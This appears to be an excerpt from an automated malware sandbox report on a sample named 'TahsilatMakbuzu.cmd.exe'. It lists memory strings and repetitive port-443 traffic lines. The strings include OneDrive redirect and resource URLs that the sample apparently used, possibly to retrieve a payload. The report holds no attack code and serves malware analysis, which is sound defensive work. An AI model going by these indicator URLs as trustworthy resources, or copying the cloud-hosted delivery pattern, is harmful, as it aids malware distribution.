Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031CF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://onedrive.live.com
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031CF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://onedrive.live.comd
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://requirejs.org/docs/errors.html#
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1drv.ms
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1drv.ms/u/s
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1drv.msD
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.liv
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/?id=BF2B7C0838B5E1BD
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/_forms/default.aspx
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/_forms/default.aspx?ReturnUrl=%2F%3Fid%3DBF2B7C0838B5E1BD%21116%26resid%3D
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DB2000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D25000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DA7000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DAD000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D13000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D53000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D6D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D4F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D0B000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.comD
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res-1.cdn.office.net
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D69000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003CB9000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D1B000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D62000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.00000000040AF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D4B000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000004019000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D7D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D39000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D6D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D05000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D0F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-06-21.007/
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002E86000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003CB9000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003263000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002E8E000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D53000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-06-28.005/
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002E86000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003CB9000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003263000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002E8E000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp-media-44968237
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003CB9000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D1B000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.00000000040AF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D4B000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000004019000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D05000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D0F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D88000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp-media-64cde176
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp-media-64cde176.js
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D69000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003CB9000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D1B000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D62000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.00000000040AF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D4B000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000004019000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D7D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D39000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D6D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D05000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D0F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res-2.cdn.office.net/files/odsp-web-prod_2024-06-21.007/
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002E86000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003CB9000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003263000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002E8E000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D53000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res-2.cdn.office.net/files/odsp-web-prod_2024-06-28.005/
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skyapi.onedrive.live.com
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spoprod-a.akamaihd.net/files/odsp-common-library-prod_2019-02-15_20190219.002/require.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
